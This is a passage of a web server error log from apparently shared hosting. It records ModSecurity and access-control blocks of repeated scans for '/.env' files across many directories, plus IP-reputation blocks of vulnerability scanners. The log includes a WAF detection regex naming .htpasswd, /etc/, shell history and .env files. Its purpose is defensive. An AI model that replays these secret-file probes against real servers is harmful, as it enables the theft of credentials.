|^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/target/.env"] [unique_id "ai3zVFWSojQL4F7upKBvWQAAAOI"] [Sat Jun 13 18:18:28.557107 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0 [Sat Jun 13 18:18:28.557362 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0 [Sat Jun 13 18:18:28.689082 2026] [security2:error] [pid 648189:tid 648356] [client 185.177.72.9:44310] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/temanr10/.env"] [unique_id "ai3zVFWSojQL4F7upKBvYQAAAIg"] [Sat Jun 13 18:18:28.774964 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.55:24385] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:28.775239 2026] [access_compat:error] [pid 648189:tid 648258] [remote 57.141.14.55:24385] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:28.823865 2026] [security2:error] [pid 648189:tid 648427] [client 185.177.72.9:44310] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/temanr9/.env"] [unique_id "ai3zVFWSojQL4F7upKBvaQAAAM4"] [Sat Jun 13 18:18:28.830961 2026] [security2:error] [pid 648189:tid 648369] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/math/atan2_basiclong_64bit.phpt"] [unique_id "ai3zVFWSojQL4F7upKBvagAAAJU"] [Sat Jun 13 18:18:28.920984 2026] [access_compat:error] [pid 648189:tid 648270] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:28.921409 2026] [access_compat:error] [pid 648189:tid 648270] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:28.958601 2026] [security2:error] [pid 648189:tid 648385] [client 185.177.72.9:44310] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/temp.php"] [unique_id "ai3zVFWSojQL4F7upKBvcAAAAKU"] [Sat Jun 13 18:18:29.093964 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:18:29.094237 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:18:29.229281 2026] [security2:error] [pid 646876:tid 647087] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/temp/.env"] [unique_id "ai3zVdyTkdrNlD40tSG1iQAAAE8"] [Sat Jun 13 18:18:29.250561 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.60:52220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:29.250852 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.60:52220] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:29.365897 2026] [security2:error] [pid 646876:tid 647110] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/template/.env"] [unique_id "ai3zVdyTkdrNlD40tSG1iwAAAGY"] [Sat Jun 13 18:18:29.503119 2026] [security2:error] [pid 646876:tid 647041] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/templates/.env"] [unique_id "ai3zVdyTkdrNlD40tSG1jgAAACE"] [Sat Jun 13 18:18:29.615218 2026] [access_compat:error] [pid 646876:tid 646896] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:18:29.615518 2026] [access_compat:error] [pid 646876:tid 646896] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:18:29.939872 2026] [security2:error] [pid 646876:tid 647020] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test-network/.env"] [unique_id "ai3zVdyTkdrNlD40tSG1lgAAAAw"] [Sat Jun 13 18:18:30.011202 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.59:37549] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:30.011665 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.59:37549] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:30.076928 2026] [security2:error] [pid 646876:tid 647095] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test-network/addOrg3/.env"] [unique_id "ai3zVtyTkdrNlD40tSG1nAAAAFc"] [Sat Jun 13 18:18:30.105397 2026] [security2:error] [pid 646876:tid 646944] [remote 17.22.245.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zVtyTkdrNlD40tSG1nQAAGkE"] [Sat Jun 13 18:18:30.173952 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0 [Sat Jun 13 18:18:30.174234 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0 [Sat Jun 13 18:18:30.314112 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.82:24716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:30.314584 2026] [access_compat:error] [pid 648189:tid 648225] [remote 57.141.14.82:24716] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:30.361855 2026] [security2:error] [pid 646876:tid 647013] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/aries-js-worker/fixtures/.env"] [unique_id "ai3zVtyTkdrNlD40tSG1ogAAAAU"] [Sat Jun 13 18:18:30.429190 2026] [access_compat:error] [pid 648189:tid 648338] [remote 57.141.14.68:53538] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:30.429469 2026] [access_compat:error] [pid 648189:tid 648338] [remote 57.141.14.68:53538] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:30.443637 2026] [access_compat:error] [pid 646876:tid 647001] [remote 57.141.14.48:48301] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:30.443926 2026] [access_compat:error] [pid 646876:tid 647001] [remote 57.141.14.48:48301] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:30.498997 2026] [security2:error] [pid 646876:tid 647045] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/adapter-rest/.env"] [unique_id "ai3zVtyTkdrNlD40tSG1pAAAACU"] [Sat Jun 13 18:18:30.548700 2026] [security2:error] [pid 648189:tid 648295] [remote 17.241.219.63:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zVlWSojQL4F7upKBvswAAlEk"] [Sat Jun 13 18:18:30.636702 2026] [security2:error] [pid 646876:tid 647038] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/agent-rest/.env"] [unique_id "ai3zVtyTkdrNlD40tSG1pwAAAB4"] [Sat Jun 13 18:18:30.680790 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:18:30.681168 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:18:30.773322 2026] [security2:error] [pid 646876:tid 647059] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/couchdb/.env"] [unique_id "ai3zVtyTkdrNlD40tSG1qgAAADM"] [Sat Jun 13 18:18:30.783936 2026] [security2:error] [pid 648189:tid 648448] [client 47.79.205.249:55776] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 249.205.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "an-ime.com"] [uri "/index.php"] [unique_id "ai3zVlWSojQL4F7upKBvuwAAAOI"], referer: https://www.google.com/ [Sat Jun 13 18:18:30.913380 2026] [security2:error] [pid 646876:tid 647032] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/test/bdd/fixtures/demo/.env"] [unique_id "ai3zVtyTkdrNlD40tSG1rAAAABg"] [Sat Jun 13 18:18:31.049529 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.59:37559] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:31.050485 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.59:37559] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:31.051197 2026] [security2:error] [pid 646876:tid 647135] [client 185.177.72.9:44314] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri 